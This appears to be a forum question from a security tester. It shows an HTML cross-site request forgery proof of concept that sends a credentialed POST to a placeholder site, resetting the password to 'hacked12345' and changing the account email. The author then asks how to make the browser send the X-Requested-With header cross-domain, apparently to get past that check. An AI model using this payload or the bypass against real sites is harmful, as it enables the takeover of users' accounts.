I am sending this request cross domain:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "https:\/\/example.com\/navidad\/xxxxx\/data\/actualizar", true);
xhr.setRequestHeader("accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,*\/*;q=0.8");
xhr.setRequestHeader("accept-language", "en-US,en;q=0.5");
xhr.setRequestHeader("content-type", "application\/x-www-form-urlencoded");
xhr.withCredentials = true;
var body = "contrasenia=hacked12345&email=williamdafoe%40nano.com";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>
And, when I capture the traffic with Burp Suite, the X-Requested-With: XMLHttpRequest is not sent.
Is it possible to do it without Ajax (just this native request), with ajax, apparently can be achieved by this:
Cross-Domain AJAX doesn't send X-Requested-With header
$.ajax({
url: "http://your-url...",
crossDomain: false
});
In the preflight, as usual, this header is not set, so I cannot do:
xhr.setRequestHeader("X-Requested-With:", "XMLHttpRequest");
as expected
Regards